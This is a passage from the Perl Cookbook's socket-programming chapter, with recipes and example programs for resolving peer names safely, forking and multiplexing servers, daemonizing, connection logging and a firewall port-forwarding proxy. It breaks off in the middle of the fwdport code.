$claimed_hostname = gethostbyaddr($iaddr, AF_INET);
@name_lookup      = gethostbyname($claimed_hostname)
    or die "Could not look up $claimed_hostname : $!\n";
@resolved_ips     = map { inet_ntoa($_) }
    @name_lookup[ 4 .. $#ips_for_hostname ];

Discussion

For a long time, figuring out who connected to you was considered more straightforward than it really is. The getpeername function returns the IP address of the remote machine in a packed binary structure (or undef if an error occurred). To unpack it, use inet_ntoa. If you want the name of the remote end, call gethostbyaddr to look up the name of the machine in the DNS tables, right?

Not really. That's only half the solution. Because a name lookup goes to the name's owner's DNS server and a lookup of an IP addresses goes to the address's owner's DNS server, you have to contend with the possibility that the machine that connected to you is giving incorrect names. For instance, the machine evil.crackers.org could belong to malevolent cyberpirates who tell their DNS server that its IP address (1.2.3.4) should be identified as trusted.dod.gov. If your program trusts trusted.dod.gov, a connection from evil.crackers.org will cause getpeername to return the right IP address (1.2.3.4), but gethostbyaddr will return the duplicitous name.

To avoid this problem, we take the (possibly deceitful) name returned by get-hostbyaddr and look it up again with gethostbyname. In the case of evil.crackers.org, the lookup of trusted.dod.gov will be done through dod.gov's DNS servers, and will return the real IP address(es) for trusted.dod.gov. Because many machines have more than one IP address (multihomed web servers are the obvious example), we can't use the simplified form of gethostbyname:

$packed_ip  = gethostbyname($name) or die "Couldn't look up $name : $!\n";
$ip_address = inet_ntoa($packed_ip);

So far we've assumed we're dealing with an Internet domain application. You can also call getpeername on a Unix domain socket. If the other end called bind, you'll get the filename they bound to. If the other end didn't call bind, however, getpeername may return an empty string (unpacked), a packed string with oddball garbage in it, or undef to indicate an error, or your computer may reboot. (These possibilities are listed in descending order of probability and desirability.) This is what we in the computer business call "undefined behavior."

Even this level of paranoia and mistrust isn't enough. It's still possible for people to fake out DNS servers they don't directly control, so don't use hostnames for identification or authentication. True paranoiacs and misanthropes use cryptographically-secure methods.

See Also

The gethostbyaddr, gethostbyname, and getpeername in Chapter 3 of Programming Perl and in perlfunc (1); the inet_ntoa in the standard Socket module; the documentation for the standard IO::Socket and Net::hostnet modules

Previous: 17.6. Using UNIX Domain Sockets | Perl Cookbook | Next: 17.8. Finding Your Own Name and Address
17.6. Using UNIX Domain Sockets | Book Index | 17.8. Finding Your Own Name and Address


Recipe 17.8. Finding Your Own Name and Address

Perl CookbookSearch this book

17.8. Finding Your Own Name and Address

Problem

You want to find your (fully qualified) hostname.

Solution

First, get your (possibly qualified) hostname. Either try the standard Sys::Hostname module:

use Sys::Hostname;

$hostname = hostname();

or POSIX's uname function:

use POSIX qw(uname);
($kernel, $hostname, $release, $version, $hardware) = uname();

$hostname = (uname)[1];             # or just one

Then turn it into an IP address and convert to its canonical name:

use Socket;                         # for AF_INET
$address  = gethostbyname($hostname)
    or die "Couldn't resolve $hostname : $!";
$hostname = gethostbyaddr($address, AF_INET)
    or die "Couldn't re-resolve $hostname : $!";

Discussion

Sys::Hostname tries to be portable by using knowledge about your system to decide how best to find the hostname. It tries many different ways of getting the hostname, but several involve running other programs. This can lead to tainted data (see Recipe 19.1).

POSIX::uname, on the other hand, only works on POSIX systems and isn't guaranteed to provide anything useful in the nodename field that we are examining. That said, the value is useful on many machines and doesn't suffer from the tainted data problem that Sys::Hostname does.

Once you have the name, though, you must consider that it might be missing a domain name. For instance, Sys::Hostname may return you guanaco instead of guanaco.camelids.org. To fix this, convert the name back into an IP address with gethostbyname and then back into a name again with gethostbyaddr. By involving the domain name system, you are guaranteed of getting a full name.

See Also

The gethostbyaddr, gethostbyname functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard Net::hostent and Sys::Hostname modules

Previous: 17.7. Identifying the Other End of a Socket | Perl Cookbook | Next: 17.9. Closing a Socket After Forking
17.7. Identifying the Other End of a Socket | Book Index | 17.9. Closing a Socket After Forking


Recipe 17.9. Closing a Socket After Forking

Perl CookbookSearch this book

17.9. Closing a Socket After Forking

Problem

Your program has forked and you want to tell the other end that you're done sending data. You've tried close on the socket, but the remote end never gets an EOF or SIGPIPE.

Solution

Use shutdown:

shutdown(SOCKET, 0);                # I/we have stopped reading data
shutdown(SOCKET, 1);                # I/we have stopped writing data
shutdown(SOCKET, 2);                # I/we have stopped using this socket

On an IO::Socket object, you could also write:

$socket->shutdown(0);               # I/we have stopped reading data

Discussion

When a process forks, the child has copies of all the parent's open filehandles, including sockets. When you close a file or socket, you close only the current process' copy. If another process (parent or child) still has the socket open, the operating system doesn't consider their file or socket closed.

Take the case of a socket that data is being sent to. If two processes have this socket open, one can close it but the socket isn't considered closed by the operating system because the other still has it open. Until the other process closes the socket, the process reading from the socket won't get an end-of-file. This can lead to confusion and deadlock.

To avoid this, either close unused filehandles after a fork, or use shutdown. The shutdown function is a more insistent form of close - it tells the operating system that even though other processes have copies of this filehandle, it should be marked as closed and the other end should get an end-of-file if they read from it, or a SIGPIPE if they write to it.

The numeric argument to shutdown lets you specify which sides of the connection are closed. An argument of 0 says that we're done reading data, so the other end of the socket will get a SIGPIPE if they try writing. 1 says that we're done writing data, so the other end of the socket will get an end-of-file if they try reading. 2 says we're done reading and writing.

Imagine a server that wants to read its client's request until end of file, and send an answer. If the client calls close, that socket is now invalid for I/O, so no answer would ever come back. Instead, the client should use shutdown to half-close the connection.

print SERVER "my request\n";        # send some data
shutdown(SERVER, 1);                # send eof; no more writing
$answer = <SERVER>;                 # but you can still read

See Also

The close and shutdown functions in Chapter 3 of Programming Perl and in perlfunc (1); your system's shutdown (2) manpage (if you have it)

Previous: 17.8. Finding Your Own Name and Address | Perl Cookbook | Next: 17.10. Writing Bidirectional Clients
17.8. Finding Your Own Name and Address | Book Index | 17.10. Writing Bidirectional Clients


Recipe 17.10. Writing Bidirectional Clients

Perl CookbookSearch this book

17.10. Writing Bidirectional Clients

Problem

You want set up a fully interactive client so you can type a line, get the answer, type a line, get the answer, etc., somewhat like telnet.

Solution

Once you've connected, fork off a duplicate process. One twin only reads your input and passes it on to the server, and the other only reads the server's output and sends it to your own output.

Discussion

In a client-server relationship, it is difficult to know whose turn it is to talk. Single-threaded solutions involving the four-argument version of select are hard to write and maintain. But there's no reason to ignore multitasking solutions. The fork function dramatically simplifies this problem.

Once you've connected to the service you'd like to chat with, call fork to clone a twin. Each of these two (nearly) identical processes has a simple job. The parent copies everything from the socket to standard output, and the child simultaneously copies everything from standard input to the socket.

The code is in Example 17.4.

Example 17.4: biclient

#!/usr/bin/perl -w
# biclient - bidirectional forking client
    use strict;
use IO::Socket;
my ($host, $port, $kidpid, $handle, $line);

unless (@ARGV == 2) { die "usage: $0 host port" }
($host, $port) = @ARGV;

# create a tcp connection to the specified host and port
$handle = IO::Socket::INET->new(Proto     => "tcp",
                                PeerAddr  => $host,
                                PeerPort  => $port)
       or die "can't connect to port $port on $host: $!";

$handle->autoflush(1);              # so output gets there right away
print STDERR "[Connected to $host:$port]\n";

# split the program into two processes, identical twins
die "can't fork: $!" unless defined($kidpid = fork());

if ($kidpid) {
    # parent copies the socket to standard output
    while (defined ($line = <$handle>)) {
        print STDOUT $line;
    }
    kill("TERM" => $kidpid);        # send SIGTERM to child
}
else {
    # child copies standard input to the socket
    while (defined ($line = <STDIN>)) {
        print $handle $line;
    }
}
exit;

To accomplish the same thing using just one process is remarkably more difficult. It's easier to code two processes, each doing a single task, than it is to code one process to do two different tasks. Take advantage of multitasking by splitting your program into multiple threads of control, and some of your bewildering problems will become much easier.

The kill function in the parent's if block is there to send a signal to the child (currently running in the else block) as soon as the remote server has closed its end of the connection. The kill at the end of the parent's block is there to eliminate the child process as soon as the server on the other end goes away.

If the remote server sends data a byte at time and you need that data immediately without waiting for a newline (which may never arrive), you may wish to replace the while loop in the parent with the following:

my $byte;
while (sysread($handle, $byte, 1) == 1) {
    print STDOUT $byte;
}

Making a system call for each byte you want to read is not very efficient (to put it mildly), but it is the simplest to explain and works reasonably well.

See Also

The sysread and fork functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard IO::Socket module; Recipe 16.5; Recipe 16.10; Recipe 17.11

Previous: 17.9. Closing a Socket After Forking | Perl Cookbook | Next: 17.11. Forking Servers
17.9. Closing a Socket After Forking | Book Index | 17.11. Forking Servers


Recipe 17.11. Forking Servers

Perl CookbookSearch this book

17.11. Forking Servers

Problem

You want to write a server that forks a subprocess to handle each new client.

Solution

Fork in the accept loop, and use a $SIG{CHLD} handler to reap the children.

# set up the socket SERVER, bind and listen ...
use POSIX qw(:sys_wait_h);

sub REAPER {
    1 until (-1 == waitpid(-1, WNOHANG));
    $SIG{CHLD} = \&REAPER;                 # unless $] >= 5.002
}

$SIG{CHLD} = \&REAPER;

while ($hisaddr = accept(CLIENT, SERVER)) {
    next if $pid = fork;                    # parent
    die "fork: $!" unless defined $pid;     # failure
    # otherwise child
    close(SERVER);                          # no use to child
    # ... do something
    exit;                                   # child leaves
} continue {
    close(CLIENT);                          # no use to parent
}

Discussion

This approach is very common for SOCK_STREAM servers in the Internet and Unix domains. Each incoming connection gets a cloned server of its own. The model is:

  1. Accept a stream connection.

  2. Fork off a duplicate to communicate over that stream.

  3. Return to 1.

This technique isn't used with SOCK_DGRAM sockets because their method of communication is different. The time it takes to fork makes the forking model impractical for UDP-style servers. Instead of working with a series of stateful, long-running connections, SOCK_DGRAM servers work with a bunch of sporadic datagrams, usually statelessly. With them, the model must become:

  1. Read a datagram.

  2. Handle the datagram.

  3. Return to 1.

The child process deals with the new connection. Because it will never use the SERVER socket, we immediately close it. This is partly to keep a tidy house, but mainly so that the server socket is closed when the parent (server) process exits. If the children do not close the SERVER socket, the operating system considers the socket still open even when the parent dies. For more on this, see Recipe 17.9.

%SIG ensures that we clean up after our children when they exit. See Chapter 16, Process Management and Communication for details.

See Also

The fork and accept functions in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 16.15; Recipe 16.19; Recipe 17.12; Recipe 17.13

Previous: 17.10. Writing Bidirectional Clients | Perl Cookbook | Next: 17.12. Pre-Forking Servers
17.10. Writing Bidirectional Clients | Book Index | 17.12. Pre-Forking Servers


Recipe 17.12. Pre-Forking Servers

Perl CookbookSearch this book

17.12. Pre-Forking Servers

Problem

You want to write a server that concurrently processes several clients (as in "Forking Servers"), but connections are coming in so fast that forking slows the server too much.

Solution

Have a master server maintain a pool of pre-forked children, as shown in Example 17.5.

Example 17.5: preforker

#!/usr/bin/perl
# preforker - server who forks first
use IO::Socket;
use Symbol;
use POSIX;

# establish SERVER socket, bind and listen.
$server = IO::Socket::INET->new(LocalPort => 6969,
                                Type      => SOCK_STREAM,
                                Proto     => 'tcp',
                                Reuse     => 1,
                                Listen    => 10 )
  or die "making socket: $@\n";

# global variables
$PREFORK                = 5;        # number of children to maintain
$MAX_CLIENTS_PER_CHILD  = 5;        # number of clients each child should process
%children               = ();       # keys are current child process IDs
$children               = 0;        # current number of children

sub REAPER {                        # takes care of dead children
    $SIG{CHLD} = \&REAPER;
    my $pid = wait;
    $children --;
    delete $children{$pid};
}

sub HUNTSMAN {                      # signal handler for SIGINT
    local($SIG{CHLD}) = 'IGNORE';   # we're going to kill our children
    kill 'INT' => keys %children;
    exit;                           # clean up with dignity
}

# Fork off our children.
for (1 .. $PREFORK) {
    make_new_child();
}

# Install signal handlers.
$SIG{CHLD} = \&REAPER;
$SIG{INT}  = \&HUNTSMAN;

# And maintain the population.
while (1) {
    sleep;                          # wait for a signal (i.e., child's death)
    for ($i = $children; $i < $PREFORK; $i++) {
        make_new_child();           # top up the child pool
    }
}

sub make_new_child {
    my $pid;
    my $sigset;

    # block signal for fork
    $sigset = POSIX::SigSet->new(SIGINT);
    sigprocmask(SIG_BLOCK, $sigset)
        or die "Can't block SIGINT for fork: $!\n";

    die "fork: $!" unless defined ($pid = fork);

    if ($pid) {
        # Parent records the child's birth and returns.
        sigprocmask(SIG_UNBLOCK, $sigset)
            or die "Can't unblock SIGINT for fork: $!\n";
        $children{$pid} = 1;
        $children++;
        return;
    } else {
        # Child can *not* return from this subroutine.
        $SIG{INT} = 'DEFAULT';      # make SIGINT kill us as it did before

        # unblock signals
        sigprocmask(SIG_UNBLOCK, $sigset)
            or die "Can't unblock SIGINT for fork: $!\n";

        # handle connections until we've reached $MAX_CLIENTS_PER_CHILD
        for ($i=0; $i < $MAX_CLIENTS_PER_CHILD; $i++) {
            $client = $server->accept()     or last;
            # do something with the connection
        }

        # tidy up gracefully and finish

        # this exit is VERY important, otherwise the child will become
        # a producer of more and more children, forking yourself into
        # process death.
        exit;
    }
}

Discussion

Whew. Although this is a lot of code, the logic is simple: the parent process never deals with clients but instead forks $PREFORK children to do that. The parent keeps track of how many children it has and forks more to replace dead children. Children exit after having handled $MAX_CLIENTS_PER_CHILD clients.

The code is a reasonably direct implementation of the logic above. The only trick comes with signal handlers: we want the parent to catch SIGINT and kill its children, so we install our signal handler &HUNTSMAN to do this. But we then have to be careful that the child doesn't have the same handler after we fork. We use POSIX signals to block the signal for the duration of the fork (see Recipe 16.20).

When you use this code in your programs, be sure that make_new_child never returns. If it does, the child will return, become a parent, and spawn off its own children. Your system will fill up with processes, your system administrator will storm down the hallway to find you, and you may end up tied to four horses wondering why you hadn't paid more attention to this paragraph.

On some operating systems, notably Solaris, you cannot have multiple children doing an accept on the same socket. You have to use file locking to ensure that only one child can call accept at any particular moment.

See Also

The select function in Chapter 3 or perlfunc (1); your system's fcntl (2) manpage (if you have one); the documentation for the standard Fcntl, Socket, IO::Select, IO::Socket, and Tie::RefHash modules; Recipe 17.11; Recipe 17.12

Previous: 17.11. Forking Servers | Perl Cookbook | Next: 17.13. Non-Forking Servers
17.11. Forking Servers | Book Index | 17.13. Non-Forking Servers


Recipe 17.13. Non-Forking Servers

Perl CookbookSearch this book

17.13. Non-Forking Servers

Problem

You want a server to deal with several simultaneous connections, but you don't want to fork a process to deal with each connection.

Solution

Keep an array of open clients, use select to read information when it becomes available, and deal with a client only when you have read a full request from it, as shown in Example 17.6.

Example 17.6: nonforker

#!/usr/bin/perl -w
# nonforker - server who multiplexes without forking
use POSIX;
use IO::Socket;
use IO::Select;
use Socket;
use Fcntl;
use Tie::RefHash;

$port = 1685;               # change this at will

# Listen to port.
$server = IO::Socket::INET->new(LocalPort => $port,
                                Listen    => 10 )
  or die "Can't make server socket: $@\n";

# begin with empty buffers
%inbuffer  = ();
%outbuffer = ();
%ready     = ();

tie %ready, 'Tie::RefHash';

nonblock($server);
$select = IO::Select->new($server);

# Main loop: check reads/accepts, check writes, check ready to process
while (1) {
    my $client;
    my $rv;
    my $data;

    # check for new information on the connections we have

    # anything to read or accept?
    foreach $client ($select->can_read(1)) {

        if ($client == $server) {
            # accept a new connection

            $client = $server->accept();
            $select->add($client);
            nonblock($client);
        } else {
            # read data
            $data = '';
            $rv   = $client->recv($data, POSIX::BUFSIZ, 0);

            unless (defined($rv) && length $data) {
                # This would be the end of file, so close the client
                delete $inbuffer{$client};
                delete $outbuffer{$client};
                delete $ready{$client};

                $select->remove($client);
                close $client;
                next;
            }

            $inbuffer{$client} .= $data;

            # test whether the data in the buffer or the data we
            # just read means there is a complete request waiting
            # to be fulfilled.  If there is, set $ready{$client}
            # to the requests waiting to be fulfilled.
            while ($inbuffer{$client} =~ s/(.*\n)//) {
                push( @{$ready{$client}}, $1 );
            }
        }
    }

    # Any complete requests to process?
    foreach $client (keys %ready) {
        handle($client);
    }

    # Buffers to flush?
    foreach $client ($select->can_write(1)) {
        # Skip this client if we have nothing to say
        next unless exists $outbuffer{$client};

        $rv = $client->send($outbuffer{$client}, 0);
        unless (defined $rv) {
            # Whine, but move on.
            warn "I was told I could write, but I can't.\n";
            next;
        }
        if ($rv == length $outbuffer{$client} ||
            $! == POSIX::EWOULDBLOCK) {
            substr($outbuffer{$client}, 0, $rv) = '';
            delete $outbuffer{$client} unless length $outbuffer{$client};
        } else {
            # Couldn't write all the data, and it wasn't because
            # it would have blocked.  Shutdown and move on.
            delete $inbuffer{$client};
            delete $outbuffer{$client};
            delete $ready{$client};

            $select->remove($client);
            close($client);
            next;
        }
    }

    # Out of band data?
    foreach $client ($select->has_exception(0)) {  # arg is timeout
        # Deal with out-of-band data here, if you want to.
    }
}

# handle($socket) deals with all pending requests for $client
sub handle {
    # requests are in $ready{$client}
    # send output to $outbuffer{$client}
    my $client = shift;
    my $request;

    foreach $request (@{$ready{$client}}) {
        # $request is the text of the request
        # put text of reply into $outbuffer{$client}
    }
    delete $ready{$client};
}

# nonblock($socket) puts socket into nonblocking mode
sub nonblock {
    my $socket = shift;
    my $flags;

    $flags = fcntl($socket, F_GETFL, 0)
            or die "Can't get flags for socket: $!\n";
    fcntl($socket, F_SETFL, $flags | O_NONBLOCK)
            or die "Can't make socket nonblocking: $!\n";
}

Discussion

As you see, handling multiple simultaneous clients within one process is more complicated than forking dedicated clones. You end up having to do a lot of operating system-like work to split your time between different connections and to ensure you don't block while reading.

The select function tells which connections have data waiting to be read, which can have data written to them, and which have unread out-of-band data. We could use the select function built into Perl, but it would take more work to find out which filehandles are available. So we use the standard (as of 5.004) IO::Select module.

We use getsockopt and setsockopt to turn on the non-blocking option for the server socket. Without it, a single client whose socket buffers filled up would cause the server to pause until the buffers emptied. Using nonblocking I/O, however, means that we have to deal with the case of partial reads and writes - we can't simply use < > to block until an entire record can be read, or use print to send an entire record with print. %inbuffer holds the incomplete command read from clients, %outbuffer holds data not yet sent, and %ready holds arrays of unhandled messages.

To use this code in your program, do three things. First, change the IO::Socket::INET call to specify your service's port. Second, change the code that moves records from the inbuffer to the ready queue. Currently it treats each line (text ending in \n) as a request. If your requests are not lines, you'll want to change this.

while ($inbuffer{$client} =~ s/(.*\n)//) {
    push( @{$ready{$client}}, $1 );
}

Finally, change the middle of the loop in handler to actually create a response to the request. A simple echoing program would say:

$outbuffer{$client} .= $request;

Error handling is left as an exercise to the reader. At the moment, we assume any read or write that caused an error is reason to end that client's connection. This is probably too harsh, because "errors" like EINTR and EAGAIN don't warrant termination (although you should never get an EAGAIN when using select ()).

See Also

The select function in Chapter 3 or perlfunc (1); your system's fcntl (2) manpage (if you have one); the documentation for the standard Fcntl, Socket, IO::Select, IO::Socket, and Tie::RefHash modules; Recipe 17.11; Recipe 17.12

Previous: 17.12. Pre-Forking Servers | Perl Cookbook | Next: 17.14. Writing a Multi-Homed Server
17.12. Pre-Forking Servers | Book Index | 17.14. Writing a Multi-Homed Server


Recipe 17.14. Writing a Multi-Homed Server

Perl CookbookSearch this book

17.14. Writing a Multi-Homed Server

Problem

You want to write a server that knows that the machine it runs on has multiple IP addresses, and that it should possibly do different things for each address.

Solution

Don't bind your server to a particular address. Instead, bind to INADDR_ANY. Then, once you've accepted a connection, use getsockname on the client socket to find out which address they connected to:

use Socket;

socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SERVER, sockaddr_in($server_port, INADDR_ANY))
    or die "Binding: $!\n";

# accept loop
while (accept(CLIENT, SERVER)) {
    $my_socket_address = getsockname(CLIENT);
    ($port, $myaddr)   = sockaddr_in($my_socket_address);
}

Discussion

Whereas getpeername (as discussed in Recipe 17.7) returns the address of the remote end of the socket, getsockname returns the address of the local end. When we've bound to INADDR_ANY, thus accepting connections on any address the machine has, we need to use getsockname to identify which address the client connected to.

If you're using IO::Socket::INET, your code will look like this:

$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Type      => SOCK_STREAM,
                                Proto     => 'tcp',
                                Listen    => 10)
    or die "Can't create server socket: $@\n";

while ($client = $server->accept()) {
    $my_socket_address = $client->sockname();
    ($port, $myaddr)   = sockaddr_in($my_socket_address);
    # ...
}

If you don't specify a local port to IO::Socket::INET->new, your socket will be bound to INADDR_ANY.

If you want your server to listen only for a particular virtual host, don't use INADDR_ANY. Instead, bind to a specific host address:

use Socket;

$port = 4269;                       # port to bind to
$host = "specific.host.com";        # virtual host to listen on

socket(Server, PF_INET, SOCK_STREAM, getprotobyname("tcp"))
    or die "socket: $!";
bind(Server, sockaddr_in($port, inet_aton($host)))
    or die "bind: $!";
while ($client_address = accept(Client, Server)) {
    # ...
}

See Also

The getsockname function in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard Socket and IO::Socket modules; the section on "Sockets" in Chapter 6 of Programming Perl or perlipc (1)

Previous: 17.13. Non-Forking Servers | Perl Cookbook | Next: 17.15. Making a Daemon Server
17.13. Non-Forking Servers | Book Index | 17.15. Making a Daemon Server


Recipe 17.15. Making a Daemon Server

Perl CookbookSearch this book

17.15. Making a Daemon Server

Problem

You want your program to run as a daemon.

Solution

If you are paranoid and running as root, chroot to a safe directory:

chroot("/var/daemon")
    or die "Couldn't chroot to /var/daemon: $!";

Fork once, and let the parent exit.

$pid = fork;
exit if $pid;
die "Couldn't fork: $!" unless defined($pid);

Dissociate from the controlling terminal that started us and stop being part of whatever process group we had been a member of.

use POSIX;

POSIX::setsid()
    or die "Can't start a new session: $!";

Trap fatal signals, setting a flag to indicate we need to gracefully exit.

$time_to_die = 0;

sub signal_handler {
    $time_to_die = 1;
}

$SIG{INT} = $SIG{TERM} = $SIG{HUP} = \&signal_handler;
# trap or ignore $SIG{PIPE}

Wrap your actual server code in a loop:

until ($time_to_die) {
    # ...
}

Discussion

Before POSIX, every operating system had its own way for a process to tell the operating system "I'm going it alone, please interfere with me as little as possible." POSIX makes it much cleaner. That said, you can still take advantage of any operating system-specific calls if you want to.

The chroot call is one of those non-POSIX calls. It makes a process change where it thinks the directory / is. For instance, after chroot "/var/daemon", if the process tries to read the file /etc/passwd, it will read /var/daemon/etc/passwd. A chrooted process needs copies of any files it will run made available inside its new /, of course. For instance, our chrooted process would need /var/daemon/bin/csh if it were going to glob files. For security reasons, only the superuser may chroot. This is done by FTP servers if you login to them anonymously. It isn't really necessary to become a daemon.

The operating system expects a child's parent to wait when the child dies. Our daemon process has no particular parent to do this, so we need to disinherit it. This we do by forking once and having our parent exit, so that the child is not associated with the process that started the parent. The child then closes all the filehandles it got from its parent (STDIN, STDERR, and STDOUT) and calls POSIX::setsid to ensure that it is completely dissociated from its parent's terminal.

Now we're almost ready to begin. We don't want signals like SIGINT to kill us immediately (its default behavior), so we use %SIG to catch them and set a flag saying it's time to exit. Then our main program simply becomes: "While we weren't killed, do something."

The signal SIGPIPE is a special case. It's easy to get (by writing to a filehandle whose other end is closed) and has unforgiving default behavior (it terminates your process). You probably want to either ignore it ($SIG{PIPE} = 'IGNORE') or define your own signal handler to deal with it appropriately.

See Also

Your system's setsid (2) and chroot (1) manpage (if you have them); the chroot function in Chapter 3 of Programming Perl and in perlfunc (1); the Unix Socket FAQ at http://www.ibrado.com/sock-faq/. Unix Network Programming

Previous: 17.14. Writing a Multi-Homed Server | Perl Cookbook | Next: 17.16. Restarting a Server on Demand
17.14. Writing a Multi-Homed Server | Book Index | 17.16. Restarting a Server on Demand


Recipe 17.16. Restarting a Server on Demand

Perl CookbookSearch this book

17.16. Restarting a Server on Demand

Problem

You want your server to shutdown and restart when it receives a HUP signal, just like inetd or httpd .

Solution

Catch the SIGHUP signal, and re-execute your program:

$SELF = "/usr/local/libexec/myd";   # which program I am
@ARGS = qw(-l /var/log/myd -d);     # program arguments

$SIG{HUP} = \&phoenix;

sub phoenix {
    # close all your connections, kill your children, and
    # generally prepare to be reincarnated with dignity.
    exec($SELF, @ARGS)              or die "Couldn't restart: $!\n";
}

Discussion

It sure looks simple ("when I get a HUP signal, restart") but it's tricky. You must know your own program name, and that isn't easy to find out. You could use $0 or the FindBin module. For normal programs, this is fine, but critical system utilities must be more cautious, as there's no guarantee that $0 is valid. You can hardcode the filename and arguments into your program, as we do here. That's not necessarily the most convenient solution, however, so you might want to read the program and arguments from an external file (using the filesystem's protections to ensure it hasn't been tampered with).

Be sure and install your signal handler after you define $SELF and @ARGS, otherwise there's a race condition when a SIGHUP could run restart but you don't know the program to run. This would cause your program to die.

Some servers don't want restart on receiving a SIGHUP - they just want to reread their configuration file.

$CONFIG_FILE = "/usr/local/etc/myprog/server_conf.pl";
$SIG{HUP} = \&read_config;
sub read_config {
    do $CONFIG_FILE;
}

Some clever servers even autoload their configuration files when they notice that those files have been updated. That way you don't have to go out of your way to signal them.

See Also

The exec function in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 8.16; Recipe 8.17; Recipe 16.15

Previous: 17.15. Making a Daemon Server | Perl Cookbook | Next: 17.17. Program: backsniff
17.15. Making a Daemon Server | Book Index | 17.17. Program: backsniff


Recipe 17.17. Program: backsniff

Perl CookbookSearch this book

17.17. Program: backsniff

This program logs attempts to connect to ports. It uses the Sys::Syslog module (it in turn wants the syslog.ph library, which may or may not come with your system) to log the connection attempt as level LOG_NOTICE and facility LOG_DAEMON. It uses getsockname to find out what port was connected to and getpeername to find out what machine made the connection. It uses getservbyport to convert the local port number (e.g., 7) into a service name (e.g, "echo").

It produces entries in the system log file like this:

May 25 15:50:22 coprolith sniffer: Connection from 207.46.131.141 to
207.46.130.164:echo

Install it in the inetd.conf file with a line like this:

echo    stream  tcp nowait  nobody /usr/scripts/snfsqrd sniffer

The program is shown in Example 17.7.

Example 17.7: backsniff

#!/usr/bin/perl -w
# backsniff - log attempts to connect to particular ports

use Sys::Syslog;
use Socket;

# identify my port and address
$sockname          = getsockname(STDIN)
                     or die "Couldn't identify myself: $!\n";
($port, $iaddr)    = sockaddr_in($sockname);
$my_address        = inet_ntoa($iaddr);

# get a name for the service
$service = (getservbyport ($port, "tcp"))[0] || $port;
# now identify remote address
$sockname          = getpeername(STDIN)
                         or die "Couldn't identify other end: $!\n";
($port, $iaddr)    = sockaddr_in($sockname);
$ex_address        = inet_ntoa($iaddr);

# and log the information
openlog("sniffer", "ndelay", "daemon");
syslog("notice", "Connection from %s to %s:%s\n", $ex_address,
        $my_address, $service);
closelog();
exit;

Previous: 17.16. Restarting a Server on Demand | Perl Cookbook | Next: 17.18. Program: fwdport
17.16. Restarting a Server on Demand | Book Index | 17.18. Program: fwdport


Recipe 17.18. Program: fwdport

Perl CookbookSearch this book

17.18. Program: fwdport

Imagine that you're nestled deep inside a protective firewall. Somewhere in the outside world is a server that you'd like access to, but only processes on the firewall can reach it. You don't want to login to the firewall machine each time to access that service.

For example, this might arise if your company's ISP provides a news-reading service that seems to come from your main firewall machine, but rejects any NNTP connections from any other address. As the administrator of the firewall, you don't want dozens of people logging on to it, but you would like to let them read and post news from their own workstations.

The program in Example 17.8, fwdport, solves this problem in a generic fashion. You may run as many of these as you like, one per outside service. Sitting on the firewall, it can talk to both worlds. When someone wants to access the outside service, they contact this proxy, which connects on their behalf to the external service. To that outside service, the connection is coming from your firewall, so it lets it in. Then your proxy forks off twin processes, one only reading data from the external server and writing that data back to the internal client, the other only reading data from the internal client and writing that data back to the external server.

For example, you might invoke it this way:

% fwdport -s nntp -l fw.oursite.com -r news.bigorg.com

That means that the program will act as the server for the NNTP service, listening for local connections on the NNTP port on the host fw.oursite.com. When one comes in, it contacts news.bigorg.com (on the same port), and then ferries data between the remote server and local client.

Here's another example:

% fwdport -l myname:9191 -r news.bigorg.com:nntp

This time we listen for local connections on port 9191 of the host myname, and patch those connecting clients to the remote server news.bigorg.com on its NNTP port.

In a way, fwdport acts as both a server and a client. It's a server from the perspective of inside the firewall and a client from the perspective of the remote server outside. The program summarizes this chapter well because it demonstrates just about everything we've covered here. It has server activity, client activity, collecting of zombie children, forking and process management, plus much more thrown in.

Example 17.8: fwdport

#!/usr/bin/perl -w
# fwdport -- act as proxy forwarder for dedicated services

use strict;                 # require declarations
use Getopt::Long;           # for option processing
use Net::hostent;           # by-name interface for host info
use IO::Socket;             # for creating server and client sockets
use POSIX ":sys_wait_h";    # for reaping our dead children

my (
    %Children,              # hash of outstanding child processes
    $REMOTE,                # whom we connect to on the outside
    $LOCAL,                 # where we listen to on the inside
    $SERVICE,               # our service name or port number
    $proxy_server,          # the socket we accept() from
    $ME,                    # basename of this program
);

($ME = $0) =~ s,.*/,,;      # retain just basename of script name

check_args();               # processing switches
start_proxy();              # launch our own server
service_clients();          # wait for incoming
die "NOT REACHED";          # you can't get here from there

# process command line switches using the extended
# version of the getopts library.
sub check_args {
    GetOptions(
        "remote=s"    => \$REMOTE,
        "local=s"     => \$LOCAL,
        "service=s"   => \$SERVICE,
    ) or die <<EOUSAGE;
    usage: $0 [ --remote host ] [ --local interface ] [ --service service ]
EOUSAGE
    die "Need remote"                   unless $REMOTE;
    die "Need local or service"         unless $LOCAL || $SERVICE;
}

# begin our server
sub start_proxy {
    my @proxy_server_config = (
      Proto     => 'tcp',
      Reuse     => 1,
      Listen    => SOMAXCONN,
    );
    push @proxy_server_config, LocalPort => $SERVICE if $SERVICE;
    push @proxy_server_config, LocalAddr => $LOCAL   if $LOCAL;
    $proxy_server = IO::Socket::INET->new(@proxy_server_config)
                    or die "can't create proxy server: $@";
    print "[Proxy server on ", ($LOCAL || $SERVICE), " initialized.]\n";
}

sub service_clients {
    my (
        $local_client,              # someone internal wanting out
        $lc_info,                   # local client's name/port information
        $remote_server,             # the socket for escaping out
        @rs_config,                 # temp array for remote socket options
        $rs_info,                   # remote server's name/port information
        $kidpid,                    # spawned child for each connection
    );

    $SIG{CHLD} = \&REAPER;          # harvest the moribund

    accepting();

    # an accepted connection here means someone inside wants out
    while ($local_client = $proxy_server->accept()) {
        $lc_info = peerinfo($local_client);
        set_state("servicing local $lc_info");
        printf "[Connect from $lc_info]\n";

        @rs_config = (
            Proto     => 'tcp',
            PeerAddr  => $REMOTE,
        );
        push(@rs_config, PeerPort => $SERVICE) if $SERVICE;

        print "[Connecting to $REMOTE...";
        set_state("connecting to $REMOTE");                 # see below
        $remote_server = IO::Socket::INET->new(@rs_config)
                         or die "remote server: $@";
        print "done]\n";

        $rs_info = peerinfo($remote_server);
        set_state("connected to $rs_info");

        $kidpid = fork();
